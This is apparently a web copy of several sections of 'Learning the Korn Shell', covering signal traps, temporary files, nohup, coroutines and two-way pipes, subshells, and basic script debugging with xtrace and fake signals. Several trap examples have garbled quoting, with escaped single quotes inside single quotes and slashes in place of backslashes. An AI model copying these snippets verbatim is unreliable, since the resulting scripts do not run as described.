We mentioned above that programs in general can be set up to "trap" specific signals and process them in their own way. The trap built-in command lets you do this from within a shell script. trap is most important for "bullet-proofing" large shell programs so that they react appropriately to abnormal events-just as programs in any language should guard against invalid input. It's also important for certain systems programming tasks, as we'll see in the next chapter.

The syntax of trap is:

trap cmd sig1 sig2 ...

That is, when any of sig1, sig2, etc., are received, run cmd, then resume execution. After cmd finishes, the script resumes execution just after the command that was interrupted. [10]

[10] This is what usually happens. Sometimes the command currently running will abort (sleep acts like this, as we'll see soon); other times it will finish running. Further details are beyond the scope of this book.

Of course, cmd can be a script or function. The sigs can be specified by name or by number. You can also invoke trap without arguments, in which case the shell will print a list of any traps that have been set, using symbolic names for the signals.

Here's a simple example that shows how trap works. Suppose we have a shell script called loop with this code:

while true; do
    sleep 60
done

This will just pause for 60 seconds (the sleep(1) command) and repeat indefinitely. true is a "do-nothing" command whose exit status is always 0. [11] Try typing in this script. Invoke it, let it run for a little while, then type [CTRL-C] (assuming that is your interrupt key). It should stop, and you should get your shell prompt back.

[11] Actually, it's a built-in alias for :, the real shell "no-op."

Now insert the following line at the beginning of the script:

trap 'print \'You hit control-C!\'' INT

Invoke the script again. Now hit CTRL-C. The odds are overwhelming that you are interrupting the sleep command (as opposed to true). You should see the message "You hit control-C!", and the script will not stop running; instead, the sleep command will abort, and it will loop around and start another sleep. Hit CTRL-\ to get it to stop. Type rm core to get rid of the resulting core dump file.

Next, run the script in the background by typing loop &. Type kill %loop (i.e., send it the TERM signal); the script will terminate. Add TERM to the trap command, so that it looks like this:

trap 'print \'You hit control-C!\'' INT TERM

Now repeat the process: run it in the background and type kill %loop. As before, you will see the message and the process will keep on running. Type kill -KILL %loop to stop it.

Notice that the message isn't really appropriate when you use kill. We'll change the script so it prints a better message in the kill case:

trap 'print \'You hit control-C!\'' INT
trap 'print \'You tried to kill me!\'' TERM

while true; do
    sleep 60
done

Now try it both ways: in the foreground with [CTRL-C] and in the background with kill. You'll see different messages.

8.4.1 Traps and Functions

The relationship between traps and shell functions is straightforward, but it has certain nuances that are worth discussing. The most important thing to understand is that functions can have their own local traps; these aren't known outside of the function. In particular, the surrounding script doesn't know about them. Consider this code:

function settrap {
    trap 'print \'You hit control-C!\'' INT
}

settrap
while true; do
    sleep 60
done

If you invoke this script and hit your interrupt key, it will just exit. The trap on INT in the function is known only inside that function. On the other hand:

function loop {
    trap 'print \'How dare you!\'' INT
    while true; do
        sleep 60
    done
}

trap 'print \'You hit control-C!\'' INT
loop

When you run this script and hit your interrupt key, it will print "How dare you!". But how about this:

function loop {
    while true; do
        sleep 60
    done
}

trap 'print \'You hit control-C!\'' INT
loop
print 'exiting...'

This time the looping code is within a function, and the trap is set in the surrounding script. If you hit your interrupt key, it will print the message and then print "exiting...". It will not repeat the loop as above.

Why? Remember that when the signal comes in, the shell aborts the current command, which in this case is a call to a function. The entire function aborts, and execution resumes at the next statement after the function call.

The advantage of traps that are local to functions is that they allow you to control a function's behavior separately from the surrounding code.

Yet you may want to define global traps inside functions. There is a rather kludgy way to do this; it depends on a feature that we introduce in the next chapter, which we call a "fake signal." Here is a way to set trapcode as a global trap for signal SIG inside a function:

trap "trap trapcode SIG" EXIT

This sets up the command trap trapcode SIG to run right after the function exits, at which time the surrounding shell script is in scope (i.e., is "in charge"). When that command runs, trapcode is set up to handle the SIG signal.

For example, you may want to reset the trap on the signal you just received, like this:

function trap_handler {
    trap "trap second_handler INT" EXIT
    print 'Interrupt: one more to abort.'
}

function second_handler {
    print 'Aborted.'
    exit
}

trap trap_handler INT

This code acts like the UNIX mail utility: when you are typing in a message, you must press your interrupt key twice to abort the process.

Speaking of mail, now we'll show a more practical example of traps.

Task 8.2

As part of an electronic mail system, write the shell code that lets a user compose a message.

The basic idea is to use cat to create the message in a temporary file and then hand the file's name off to a program that actually sends the message to its destination. The code to create the file is very simple:

msgfile=/tmp/msg$$
cat > $msgfile

Since cat without an argument reads from the standard input, this will just wait for the user to type a message and end it with the end-of-text character [CTRL-D].

8.4.2 Process ID Variables and Temporary Files

The only thing new about this is $$ in the filename expression. This is a special shell variable whose value is the process ID of the current shell.

To see how $$ works, type ps and note the process ID of your shell process (ksh). Then type print "$$"; the shell will respond with that same number. Now type ksh to start a subshell, and when you get a prompt, repeat the process. You should see a different number, probably slightly higher than the last one.

A related built-in shell variable is ! (i.e., its value is $!), which contains the process ID of the most recently invoked background job. To see how this works, invoke any job in the background and note the process ID printed by the shell next to [1]. Then type print "$!"; you should see the same number.

The ! variable is useful in shell programs that involve multiple communicating processes, as we'll see later.

To return to our mail example: since all processes on the system must have unique process IDs, $$ is excellent for constructing names of temporary files. We saw an example of this back in Chapter 2, Command-line Editing: we used the expression .hist$$ as a way of generating unique names for command history files so that several can be open at once, allowing multiple shell windows on a workstation to have their own history files. This expression generates names like .hist234. There are also examples of $$ in Chapter 7 and Chapter 9, Debugging Shell Programs.

The directory /tmp is conventionally used for temporary files. Many systems also have another directory, /usr/tmp, for the same purpose. All files in these directories are usually erased whenever the computer is rebooted.

Nevertheless, a program should clean up such files before it exits, to avoid taking up unnecessary disk space. We could do this in our code very easily by adding the line rm $msgfile after the code that actually sends the message. But what if the program receives a signal during execution? For example, what if a user changes his or her mind about sending the message and hits CTRL-C to stop the process? We would need to clean up before exiting. We'll emulate the actual UNIX mail system by saving the message being written in a file called dead.letter in the current directory. We can do this by using trap with a command string that includes an exit command:

trap 'mv $msgfile dead.letter; exit' INT TERM
msgfile=/tmp/msg$$
cat > $msgfile
# send the contents of $msgfile to the specified mail address...
rm $msgfile

When the script receives an INT or TERM signal, it will remove the temp file and then exit. Note that the command string isn't evaluated until it needs to be run, so $msgfile will contain the correct value; that's why we surround the string in single quotes.

But what if the script receives a signal before msgfile is created-unlikely though that may be? Then mv will try to rename a file that doesn't exist. To fix this, we need to test for the existence of the file $msgfile before trying to delete it. The code for this is a bit unwieldy to put in a single command string, so we'll use a function instead:

function cleanup {
    if [[ -a $msgfile ]]; then
      mv $msgfile dead.letter
    fi
    exit
}

trap cleanup INT TERM

msgfile=/tmp/msg$$
cat > $msgfile
# send the contents of $msgfile to the specified mail address...
rm $msgfile

8.4.3 Ignoring Signals

Sometimes a signal comes in that you don't want to do anything about. If you give the null string (" " or ' ') as the command argument to trap, then the shell will effectively ignore that signal. The classic example of a signal you may want to ignore is HUP (hangup), the signal the shell sends to all of your background processes when you log out.

HUP has the usual default behavior: it will kill the process that receives it. But there are bound to be times when you don't want a background job to terminate when you log out. For example, you may start a long compile or word processing job; you want to log out and come back later when you expect the job to be finished. Under normal circumstances, your background job will terminate when you log out. But if you run it in a shell environment where the HUP signal is ignored, the job will finish.

To do this, you could write a simple function that looks like this:

function ignorehup {
    trap "" HUP
    eval "$@"
}

We write this as a function instead of a script for reasons that will become clearer when we look in detail at subshells at the end of this chapter.

Actually, there is a UNIX command called nohup that does precisely this. The start script from the last chapter could include nohup:

eval nohup "$@" > logfile 2>&1 &

This prevents HUP from terminating your command and saves its standard and error output in a file. Actually, the following is just as good:

nohup "$@" > logfile 2>&1 &

If you understand why eval is essentially redundant when you use nohup in this case, then you have a firm grasp on the material in the previous chapter.

8.4.4 Resetting Traps

Another "special case" of the trap command occurs when you give a dash (-) as the command argument. This resets the action taken when the signal is received to the default, which usually is termination of the process.

As an example of this, let's return to Task 8-2, our mail program. After the user has finished sending the message, the temporary file is erased. At that point, since there is no longer any need to "clean up," we can reset the signal trap to its default state. The code for this, apart from function definitions, is:

trap abortmsg INT
trap cleanup TERM

msgfile=/tmp/msg$$
cat > $msgfile
# send the contents of $msgfile to the specified mail address...
rm $msgfile

trap - INT TERM

The last line of this code resets the handlers for the INT and TERM signals.

At this point you may be thinking that one could get seriously carried away with signal handling in a shell script. It is true that "industrial strength" programs devote considerable amounts of code to dealing with signals. But these programs are almost always large enough so that the signal-handling code is a tiny fraction of the whole thing. For example, you can bet that the real UNIX mail system is pretty darn bullet-proof.

However, you will probably never write a shell script that is complex enough, and that needs to be robust enough, to merit lots of signal handling. You may write a prototype for a program as large as mail in shell code, but prototypes by definition do not need to be bullet-proofed.

Therefore, you shouldn't worry about putting signal-handling code in every 20-line shell script you write. Our advice is to determine if there are any situations in which a signal could cause your program to do something seriously bad and add code to deal with those contingencies. What is "seriously bad"? Well, with respect to the above examples, we'd say that the case where HUP causes your job to terminate on logout is seriously bad, while the temporary file situation in our mail program is not.

The Korn shell has several new options to trap (with respect to the same command in most Bourne shells) that make it useful as an aid for debugging shell scripts. We'll cover these in the next chapter.

Previous: 8.3 Signals | Learning the Korn Shell | Next: 8.5 Coroutines
8.3 Signals | Book Index | 8.5 Coroutines
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.5 Coroutines

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 8.4 trap Chapter 8
Process Handling 		Next: 8.6 Subshells

8.5 Coroutines

We've spent the last several pages on almost microscopic details of process behavior. Rather than continue our descent into the murky depths, we'll revert to a higher-level view of processes.

Earlier in this chapter, we covered ways of controlling multiple simultaneous jobs within an interactive login session; now we'll consider multiple process control within shell programs. When two (or more) processes are explicitly programmed to run simultaneously and possibly communicate with each other, we call them coroutines.

This is actually nothing new: a pipeline is an example of coroutines. The shell's pipeline construct encapsulates a fairly sophisticated set of rules about how processes interact with each other. If we take a closer look at these rules, we'll be better able to understand other ways of handling coroutines-most of which turn out to be simpler than pipelines.

When you invoke a simple pipeline, say ls | more, the shell invokes a series of UNIX primitive operations, a.k.a. system calls. In effect, the shell tells UNIX to do the following things; in case you're interested, we include in parentheses the actual system call used at each step:

  1. Create two subprocesses, which we'll call P1 and P2 (the fork system call).

  2. Set up I/O between the processes so that P1's standard output feeds into P2's standard input (pipe).

  3. Start /bin/ls in process P1 (exec).

  4. Start /bin/more in process P2 (exec).

  5. Wait for both processes to finish (wait).

You can probably imagine how the above steps change when the pipeline involves more than two processes.

Now let's make things simpler. We'll see how to get multiple processes to run at the same time if the processes do not need to communicate. For example, we want the processes dave and bob to run as coroutines, without communication, in a shell script. Our initial solution would be this:

dave &
bob

Assume for the moment that bob is the last command in the script. The above will work-but only if dave finishes first. If dave is still running when the script finishes, then it becomes an orphan, i.e., it enters one of the "funny states" we mentioned earlier in this chapter. Never mind the details of orphanhood; just believe that you don't want this to happen, and if it does, you may need to use the "runaway process" method of stopping it, discussed earlier in this chapter.

8.5.1 wait

There is a way of making sure the script doesn't finish before dave does: the built-in command wait. Without arguments, wait simply waits until all background jobs have finished. So to make sure the above code behaves properly, we would add wait, like this:

dave &
bob
wait

Here, if bob finishes first, the parent shell will wait for dave to finish before finishing itself.

If your script has more than one background job and you need to wait for specific ones to finish, you can give wait the same type of job argument (with a percent sign) as you would use with kill, fg, or bg.

However, you will probably find that wait without arguments suffices for all coroutines you will ever program. Situations in which you would need to wait for specific background jobs are quite complex and beyond the scope of this book.

8.5.2 Advantages and Disadvantages of Coroutines

In fact, you may be wondering why you would ever need to program coroutines that don't communicate with each other. For example, why not just run bob after dave in the usual way? What advantage is there in running the two jobs simultaneously?

If you are running on a computer with one processor (CPU), then there is a performance advantage-but only if you have the bgnice option turned off (see Chapter 3, Customizing Your Environment), and even then only in certain situations.

Roughly speaking, you can characterize a process in terms of how it uses system resources in three ways: whether it is CPU intensive (e.g., does lots of number crunching), I/O intensive (does a lot of reading or writing to the disk), or interactive (requires user intervention).

We already know from Chapter 1 that it makes no sense to run an interactive job in the background. But apart from that, the more two or more processes differ with respect to these three criteria, the more advantage there is in running them simultaneously. For example, a number-crunching statistical calculation would do well when running at the same time as a long, I/O-intensive database query.

On the other hand, if two processes use resources in similar ways, it may even be less efficient to run them at the same time as it would be to run them sequentially. Why? Basically, because under such circumstances, the operating system often has to "time-slice" the resource(s) in contention.

For example, if both processes are "disk hogs," the operating system may enter a mode where it constantly switches control of the disk back and forth between the two competing processes; the system ends up spending at least as much time doing the switching as it does on the processes themselves. This phenomenon is known as thrashing; at its most severe, it can cause a system to come to a virtual standstill. Thrashing is a common problem; system administrators and operating system designers both spend lots of time trying to minimize it.

8.5.3 Parallelization

But if you have a computer with multiple CPUs (such as a Pyramid, Sequent, or Sun MP), you should be less concerned about thrashing. Furthermore, coroutines can provide dramatic increases in speed on this type of machine, which is often called a parallel computer; analogously, breaking up a process into coroutines is sometimes called parallelizing the job.

Normally, when you start a background job on a multiple-CPU machine, the computer will assign it to the next available processor. This means that the two jobs are actually-not just metaphorically-running at the same time.

In this case, the running time of the coroutines is essentially equal to that of the longest-running job plus a bit of overhead, instead of the sum of the run times of all processes (although if the CPUs all share a common disk drive, the possibility of I/O-related thrashing still exists). In the best case-all jobs having the same run time and no I/O contention-you get a speedup factor equal to the number of jobs.

Parallelizing a program is often not easy; there are several subtle issues involved and there's plenty of room for error. Nevertheless, it's worthwhile to know how to parallelize a shell script whether or not you have a parallel machine, especially since such machines are becoming more and more common.

We'll show how to do this-and give you an idea of some of the problems involved-by means of a simple task whose solution is amenable to parallelization.

Task 8.3

Write a utility that allows you to make multiple copies of a file at the same time.

We'll call this script mcp. The command mcp filename dest1 dest2 ... should copy filename to all of the destinations given. The code for this should be fairly obvious:

file=$1
shift
for dest in "$@"; do
    cp $file $dest
done

Now let's say we have a parallel computer and we want this command to run as fast as possible. To parallelize this script, it's a simple matter of firing off the cp commands in the background and adding a wait at the end:

file=$1
shift
for dest in "$@"; do
    cp $file $dest &
done
wait

Simple, right? Well, there is one little problem: what happens if the user specifies duplicate destinations? If you're lucky, the file just gets copied to the same place twice. Otherwise, the identical cp commands will interfere with each other, possibly resulting in a file that contains two interspersed copies of the original file. In contrast, if you give the regular cp command two arguments that point to the same file, it will print an error message and do nothing.

To fix this problem, we would have to write code that checks the argument list for duplicates. Although this isn't too hard to do (see the exercises at the end of this chapter), the time it takes that code to run might offset any gain in speed from parallelization; furthermore, the code that does the checking detracts from the simple elegance of the script.

As you can see, even a seemingly trivial parallelization task has problems resulting from multiple processes having concurrent access to a given system resource (a file in this case). Such problems, known as concurrency control issues, become much more difficult as the complexity of the application increases. Complex concurrent programs often have much more code for handling the special cases than for the actual job the program is supposed to do!

Therefore it shouldn't surprise you that much research has been and is being done on parallelization, the ultimate goal being to devise a tool that parallelizes code automatically. (Such tools do exist; they usually work in the confines of some narrow subset of the problem.) Even if you don't have access to a multiple-CPU machine, parallelizing a shell script is an interesting exercise that should acquaint you with some of the issues that surround coroutines.

8.5.4 Coroutines with Two-way Pipes

Now that we have seen how to program coroutines that don't communicate with each other, we'll build on that foundation and discuss how to get them to communicate-in a more sophisticated way than with a pipeline. The Korn shell has a set of features that allow programmers to set up two-way communication between coroutines. These features aren't included in most Bourne shells.

If you start a background process by appending |& to a command instead of &, the Korn shell will set up a special two-way pipeline between the parent shell and the new background process. read -p in the parent shell reads a line of the background process' standard output; similarly, print -p in the parent shell feeds into the standard input of the background process. Figure 8.2 shows how this works.

Figure 8.2: Coroutine I/O

This scheme has some intriguing possibilities. Notice the following things: first, the parent shell communicates with the background process independently of its own standard input and output. Second, the background process need not have any idea that a shell script is communicating with it in this manner. This means that the background process can be any pre-existing program that uses its standard input and output in normal ways.

Here's a task that shows a simple example:

Task 8.4

You would like to have an online calculator, but the existing UNIX utility dc(1) uses Reverse Polish Notation (RPN), a la Hewlett-Packard calculators. You'd rather have one that works like the $3.95 model you got with that magazine subscription. Write a calculator program that accepts standard algebraic notation.

The objective here is to write the program without re-implementing the calculation engine that dc already has-in other words, to write a program that translates algebraic notation to RPN and passes the translated line to dc to do the actual calculation. [12]

[12] The utility bc(1) actually provides similar functionality.

We'll assume that the function alg2rpn, which does the translation, already exists: given a line of algebraic notation as argument, it prints the RPN equivalent on the standard output. If we have this, then the calculator program (which we'll call adc) is very simple:

dc |&

while read line'?adc> '; do
    print -p "$(alg2rpn $line)"
    read -p answer
    print "    = $answer"
done

The first line of this code starts dc as a coroutine with a two-way pipe. Then the while loop prompts the user for a line and reads it until the user types [CTRL-D] for end-of-input. The loop body converts the line to RPN, passes it to dc through the pipe, reads dc's answer, and prints it after an equal sign. For example:

$ adc
adc> 2 + 3
    = 5
adc> (7 * 8) + 54
    = 110
adc> ^D
$

Actually-as you may have noticed-it's not entirely necessary to have a two-way pipe with dc. You could do it with a standard pipe and let dc do its own output, like this:

{ while read line'?adc> '; do
      print "$(alg2rpn $line)"
  done
} | dc

The only difference from the above is the lack of equal sign before each answer is printed.

But: what if you wanted to make a fancy graphical user interface (GUI), like the xcalc program that comes with many X Window System installations? Then, clearly, dc's own output would not be satisfactory, and you would need full control of your own standard output in the parent process. The user interface would have to capture dc's output and display it in the window properly. The two-way pipe is an excellent solution to this problem: just imagine that, instead of print " = $answer ", there is a call to a routine that displays the answer in the "readout" section of the calculator window.

All of this suggests that the two-way pipe scheme is great for writing shell scripts that interpose a software layer between the user (or some other program) and an existing program that uses standard input and output. In particular, it's great for writing new interfaces to old, standard UNIX programs that expect line-at-a-time, character-based user input and output. The new interfaces could be GUIs, or they could be network interface programs that talk to users over links to remote machines. In other words, the Korn shell's two-way pipe construct is designed to help develop very up-to-date software!

8.5.5 Two-way Pipes Versus Standard Pipes

Before we leave the subject of coroutines, we'll complete the circle by showing how the two-way pipe construct compares to regular pipelines. As you may have been able to figure out by now, it is possible to program a standard pipeline by using |& with print -p.

This has the advantage of reserving the parent shell's standard output for other use. The disadvantage is that the child process' standard output is directed to the two-way pipe: if the parent process doesn't read it with read -p, then it's effectively lost.

Previous: 8.4 trap | Learning the Korn Shell | Next: 8.6 Subshells
8.4 trap | Book Index | 8.6 Subshells
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.6 Subshells

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 8.5 Coroutines Chapter 8
Process Handling 		Next: 9. Debugging Shell Programs

8.6 Subshells

Coroutines clearly represent the most complex relationship between processes that the Korn shell defines. To conclude this chapter, we will look at a much simpler type of interprocess relationship: that of a subshell with its parent shell. We saw in Chapter 3 that whenever you run a shell script, you actually invoke another copy of the shell that is a subprocess of the main, or parent, shell process. Now let's look at subshells in more detail.

8.6.1 Subshell Inheritance

The most important things you need to know about subshells are what characteristics they get, or inherit, from their parents. These are as follows:

  • The current directory

  • Environment variables

  • Standard input, output, and error plus any other open file descriptors

  • Any characteristics defined in the environment file (see Chapter 3)

  • Signals that are ignored

The first three of these are inherited by all subprocesses, while the last is unique to subshells. Just as important are the things that a subshell does not inherit from its parent:

  • Shell variables, except environment variables and those defined in the environment file

  • Handling of signals that are not ignored

We covered some of this earlier (in Chapter 3), but these points are common sources of confusion, so they bear repeating.

8.6.2 Nested Subshells

Subshells need not be in separate scripts; you can also start a subshell within the same script (or function) as the parent. You do this in a manner very similar to the code blocks we saw in the last chapter. Just surround some shell code with parentheses (instead of curly brackets), and that code will run in a subshell. We'll call this a nested subshell.

For example, here is the calculator program, from above, with a subshell instead of a code block:

( while read line'?adc> '; do
      print "$(alg2rpn $line)"
  done
) | dc

The code inside the parentheses will run as a separate process. This is usually less efficient than a code block. The differences in functionality between subshells and code blocks are very few; they primarily pertain to issues of scope, i.e., the domains in which definitions of things like shell variables and signal traps are known. First, code inside a nested subshell obeys the above rules of subshell inheritance, except that it knows about variables defined in the surrounding shell; in contrast, think of blocks as code units that inherit everything from the outer shell. Second, variables and traps defined inside a code block are known to the shell code after the block, whereas those defined in a subshell are not.

For example, consider this code:

{
    fred=bob
    trap 'print \'You hit CTRL-C!\'' INT
}
while true; do
    print "\$fred is $fred"
    sleep 60
done

If you run this code, you will see the message $fred is bob every 60 seconds, and if you type CTRL-C, you will see the message, You hit CTRL-C!. You will need to type CTRL-\ to stop it (don't forget to remove the core file). Now let's change it to a nested subshell:

(
    fred=bob
    trap 'print \'You hit CTRL-C!\'' INT
)
while true; do
    print "\$fred is $fred"
    sleep 60
done

If you run this, you will see the message $fred is; the outer shell doesn't know about the subshell's definition of fred and therefore thinks it's null. Furthermore, the outer shell doesn't know about the subshell's trap of the INT signal, so if you hit CTRL-C, the script will terminate.

If a language supports code nesting, then it's considered desirable that definitions inside a nested unit have a scope limited to that nested unit. In other words, nested subshells give you better control than code blocks over the scope of variables and signal traps. Therefore we feel that you should use subshells instead of code blocks if they are to contain variable definitions or signal traps-unless efficiency is a concern.

This has been a long chapter, and it has covered a lot of territory. Here are some exercises that should help you make sure you have a firm grasp on the material. The last exercise is especially difficult for those without backgrounds in compilers, parsing theory, or formal language theory.

  1. Write a shell script called pinfo that combines the jobs and ps commands by printing a list of jobs with their job numbers, corresponding process IDs, running times, and full commands.

  2. Take the latest version of our C compiler shell script-or some other non-trivial shell script-and "bullet-proof" it with signal traps.

  3. Take the non-pipeline version of our C compiler-or some other non-trivial shell script-and parallelize it as much as possible.

  4. Write the code that checks for duplicate arguments to the mcp script. Bear in mind that different pathnames can point to the same file. (Hint: if $i is "1", then eval 'print \${$i}' prints the first command-line argument. Make sure you understand why.)

  5. Redo the findterms program in the last chapter using a nested subshell instead of a code block.

  6. (The following doesn't have that much to do with the material in this chapter per se, but it is a classic programming exercise:)

    1. Write the function alg2rpn used in adc. Here's how to do this: Arithmetic expressions in algebraic notation have the form expr op expr, where each expr is either a number or another expression (perhaps in parentheses), and op is +, -, ×, /, or % (remainder). In RPN, expressions have the form expr expr op. For example: the algebraic expression 2+3 is 2 3 + in RPN; the RPN equivalent of (2+3) × (9-5) is 2 3 + 9 5 - ×. The main advantage of RPN is that it obviates the need for parentheses and operator precedence rules (e.g., × is evaluated before +). The dc program accepts standard RPN, but each expression should have "p" appended to it: this tells dc to print its result, e.g., the first example above should be given to dc as 2 3 + p.

    2. You need to write a routine that converts algebraic notation to RPN. This should be (or include) a function that calls itself (known as a recursive function) whenever it encounters a subexpression. It is especially important that this function keep track of where it is in the input string and how much of the string it "eats up" during its processing. (Hint: make use of the pattern matching operators discussed in Chapter 4 to ease the task of parsing input strings.)

      To make your life easier, don't worry about operator precedence for now; just convert to RPN from left to right. e.g., treat 3+4×5 as (3+4)×5 and 3×4+5 as (3×4)+5. This makes it possible for you to convert the input string on the fly, i.e., without having to read in the whole thing before doing any processing.

    3. Enhance your solution to the previous exercise so that it supports operator precedence in the "usual" order: ×, /, % (remainder) +, -. e.g., treat 3+4×5 as 3+(4×5) and 3×4+5 as (3×4)+5.

Previous: 8.5 Coroutines | Learning the Korn Shell | Next: 9. Debugging Shell Programs
8.5 Coroutines | Book Index | 9. Debugging Shell Programs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] Debugging Shell Programs

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 8.6 Subshells Chapter 9 Next: 9.2 A Korn Shell Debugger

9. Debugging Shell Programs

Contents:
Basic Debugging Aids
A Korn Shell Debugger

We hope that we have convinced you that the Korn shell can be used as a serious UNIX programming environment. It certainly has enough features, control structures, etc. But another essential part of a programming environment is a set of powerful, integrated support tools. For example, there is a wide assortment of screen editors, compilers, debuggers, profilers, cross-referencers, etc., for languages like C and C++. If you program in one of these languages, you probably take such tools for granted, and you would undoubtedly cringe at the thought of having to develop code with, say, the ed editor and the adb machine-language debugger.

But what about programming support tools for the Korn shell? Of course, you can use any editor you like, including vi and emacs. And because the shell is an interpreted language, you don't need a compiler. [1] But there are no other tools available. The most serious problem is the lack of a debugger.

[1] Actually, if you are really concerned about efficiency, there are shell code compilers on the market; they convert shell scripts to C code that often runs quite a bit faster.

This chapter addresses that lack. The shell does have a few features that help in debugging shell scripts; we'll see these in the first part of the chapter. The Korn shell also has a couple of new features, not present in most Bourne shells, that make it possible to implement a full-blown debugging tool. We'll show these features; more importantly, we will present kshdb, a Korn shell debugger that uses them. kshdb is basic yet quite useable, and its implementation serves as an extended example of various shell programming techniques from throughout this book.

9.1 Basic Debugging Aids

What sort of functionality do you need to debug a program? At the most empirical level, you need a way of determining what is causing your program to behave badly, and where the problem is in the code. You usually start with an obvious what (such as an error message, inappropriate output, infinite loop, etc.), try to work backwards until you find a what that is closer to the actual problem (e.g., a variable with a bad value, a bad option to a command), and eventually arrive at the exact where in your program. Then you can worry about how to fix it.

Notice that these steps represent a process of starting with obvious information and ending up with often obscure facts gleaned through deduction and intuition. Debugging aids make it easier to deduce and intuit by providing relevant information easily or even automatically, preferably without modifying your code.

The simplest debugging aid (for any language) is the output statement, print in the shell's case. Indeed, old-timer programmers debugged their FORTRAN code by inserting WRITE cards into their decks. You can debug by putting lots of print statements in your code (and removing them later), but you will have to spend lots of time narrowing down not only what exact information you want but also where you need to see it. You will also probably have to wade through lots and lots of output to find the information you really want.

9.1.1 Set Options

Luckily, the shell has a few basic features that give you debugging functionality beyond that of print. The most basic of these are options to the set -o command (as covered in Chapter 3, Customizing Your Environment). These options can also be used on the command line when running a script, as Table 9.1 shows.

The verbose option simply echoes (to standard error) whatever input the shell gets. It is useful for finding the exact point at which a script is bombing. For example, assume your script looks like this:

fred
bob
dave
pete
ed
ralph

Table 9.1: Debugging Options
set -o Option | Command-line Option | Action
noexec | -n | Don't run commands; check for syntax errors only
verbose | -v | Echo commands before running them
xtrace | -x | Echo commands after command-line processing

None of these commands are standard UNIX programs, and they all do their work silently. Say the script crashes with a cryptic message like "segmentation violation." This tells you nothing about which command caused the error. If you type ksh -v scriptname, you might see this:

fred
bob
dave
segmentation violation
pete
ed
ralph

Now you know that dave is the probable culprit-though it is also possible that dave bombed because of something it expected fred or bob to do (e.g., create an input file) that they did incorrectly.

The xtrace option is more powerful: it echoes command lines after they have been through parameter substitution, command substitution, and the other steps of command-line processing (as listed in Chapter Chapter 7, Input/Output and Command-line Processing). For example:

$ set -o xtrace
$ fred=bob
+ fred=bob
$ print "$fred"
+ print bob
bob
$ ls -l $(whence emacs)
+ whence emacs
+ ls -l /usr/share/bin/emacs
-rwxr-xr-x  1 root      1593344 Apr  8  1991 /usr/share/bin/emacs
$

As you can see, xtrace starts each line it prints with +. This is actually customizable: it's the value of the built-in shell variable PS4. So if you set PS4 to "xtrace-> " (e.g., in your .profile or environment file), then you'll get xtrace listings that look like this:

$ ls -l $(whence emacs)
xtrace-> whence emacs
xtrace-> ls -l /usr/share/bin/emacs
-rwxr-xr-x  1 root      1593344 Apr  8  1991 /usr/share/bin/emacs
$

An even better way of customizing PS4 is to use a built-in variable we haven't seen yet: LINENO, which holds the number of the currently running line in a shell script. Put this line in your .profile or environment file:

PS4='line $LINENO: '

We use the same technique as we did with PS1 in Chapter 3: using single quotes to postpone the evaluation of the string until each time the shell prints the prompt. This will print messages of the form line N: in your trace output. You could even include the name of the shell script you're debugging in this prompt by using the positional parameter $0:

PS4='$0 line $LINENO: '

As another example, say you are trying to track down a bug in a script called fred that contains this code:

dbfmq=$1.fmq
...
fndrs=$(cut -f3 -d' ' $dfbmq)

You type fred bob to run it in the normal way, and it hangs. Then you type ksh -x fred bob, and you see this:

+ dbfmq=bob.fmq
...
+ + cut -f3 -d

It hangs again at this point. You notice that cut doesn't have a filename argument, which means that there must be something wrong with the variable dbfmq. But it has executed the assignment statement dbfmq=bob.fmq properly... ah-hah! You made a typo in the variable name inside the command substitution construct. [2] You fix it, and the script works properly.

[2] We should admit that if you turned on the nounset option at the top of this script, the shell would have flagged this error.

If the code you are trying to debug calls functions that are defined elsewhere (e.g., in your .profile or environment file), you can trace through these in the same way with an option to the typeset command. Just enter the command typeset -ft functname, and the named function will be traced whenever it runs. Type typeset +ft functname to turn tracing off.

The last option is noexec, which reads in the shell script, checks for syntax errors, but doesn't execute anything. It's worth using if your script is syntactically complex (lots of loops, code blocks, string operators, etc.) and the bug has side effects (like creating a large file or hanging up the system).

You can turn on these options with set -o in your shell scripts, and, as explained in Chapter 3, turn them off with set +o option. For example, if you're debugging a script with a nasty side effect, and you have localized it to a certain chunk of code, you can precede that chunk with set -o noexec (and, perhaps, close it with set +o noexec) to avoid the side effect.

9.1.2 Fake Signals

A more sophisticated set of debugging aids is the shell's three "fake signals," which can be used in trap statements to get the shell to act under certain conditions. Recall from the previous chapter that trap allows you to install some code that runs when a particular signal is sent to your script.

Fake signals act like real ones, but they are generated by the shell (as opposed to real signals, which the underlying operating system generates). They represent runtime events that are likely to be interesting to debuggers-both human ones and software tools-and can be treated just like real signals within shell scripts. The three fake signals and their meanings are listed in Table 9.2.

Table 9.2: Fake Signals
Fake Signal | When Sent
EXIT | The shell exits from a function or script
ERR | A command returns a non-0 exit status
DEBUG | After every statement

9.1.2.1 EXIT

The EXIT trap, when set, will run its code when the function or script within which it was set exits. Here's a simple example:

function func {
    print 'start of the function'
    trap 'print /'exiting from the function/'' EXIT
}

print 'start of the script'
trap 'print /'exiting from the script/'' EXIT
func

If you run this script, you will see this output:

start of the script
start of the function
exiting from the function
exiting from the script

In other words, the script starts by printing a message. Then it sets the trap for its own exit, then calls the function. The function does the same-prints a message and sets a trap for its exit. (Remember that functions can have their own local traps that supersede any traps set by the surrounding script.)

The function then exits, which causes the shell to send it the fake signal EXIT, which in turn runs the code print 'exiting from the function'. Then the script exits, and its own EXIT trap code is run.

An EXIT trap occurs no matter how the script or function exits-whether normally (by finishing the last statement), by an explicit exit or return statement, or by receiving a "real" signal such as INT or TERM. Consider the following inane number-guessing program:

trap 'print /'Thank you for playing!/'' EXIT

magicnum=$(($RANDOM%10+1))
print 'Guess a number between 1 and 10:'
while read guess'?number> '; do
    sleep 10
    if (( $guess == $magicnum )); then
        print 'Right!'
        exit
    fi
    print 'Wrong!'
done

